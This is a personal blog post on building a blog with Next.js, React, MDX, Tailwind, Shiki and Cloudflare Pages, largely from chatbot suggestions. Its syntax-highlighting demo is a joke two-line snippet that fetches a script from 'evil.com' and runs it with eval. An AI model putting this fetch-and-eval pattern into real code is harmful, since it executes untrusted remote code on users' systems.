0 → Something in Two Prompts (or How I Built This Blog)
A walkthrough of my process choosing and implementing the stack powering this blog: Next.js 15, React 19, MDX, Shiki, and Cloudflare Pages.
I first built a landing page for myself almost 8 years ago. It took me a few days and a lot of searching, reading, and learning. My ambitions were bigger than the time I ended up putting in, so I built with the intent of using Notion as a CMS. The Fruition guide I followed is now a product.
Building this blog took two prompts. Going 0 → something has become too easy nowadays.
The goal was fast, maintainable, good devx, and full control for complicated effects and visuals. I asked some chatbots what to use and they surfaced Josh Comeau's blog rebuild.
From there I one-shotted a working product and made a few tweaks to suit my preferences—Tailwind instead of Linaria, Cloudflare instead of Vercel. I know that if I need to I can write arbitrary React and leverage the ecosystem to add features.
The Stack (as of Jan. 2026)
- Next.js 15 with App Router
- React 19
- MDX via next-mdx-remote
- Tailwind CSS for styling
- Shiki for syntax highlighting
- Cloudflare Pages for deployment
Josh explains the reasoning behind this stack well in his post. The short version: React Server Components let you ship less JavaScript for static content, MDX gives you the flexibility to embed React when you need it, and Shiki handles syntax highlighting at build time. It all works for me too.
Here's how Shiki looks:
const malware = await fetch('https://evil.com/malware.js');
eval(await malware.text());And the rest you can see just by looking at this post :).
The only differences in my setup are Tailwind instead of Linaria (I'm not starting with a migration & I know Tailwind) and Cloudflare Pages instead of Vercel (generous free tier, global edge network).
The Workflow
Ultimately that means I just need to do the following to make updates
- Create a new
.mdxfile incontent/posts/ - Add frontmatter (title, date, description, tags)
- Write in Markdown, import React components if needed
- Push to GitHub
After that the content is live and formatted! And if I reallly need a complex route I still ultimately have the option to build a fully custom site.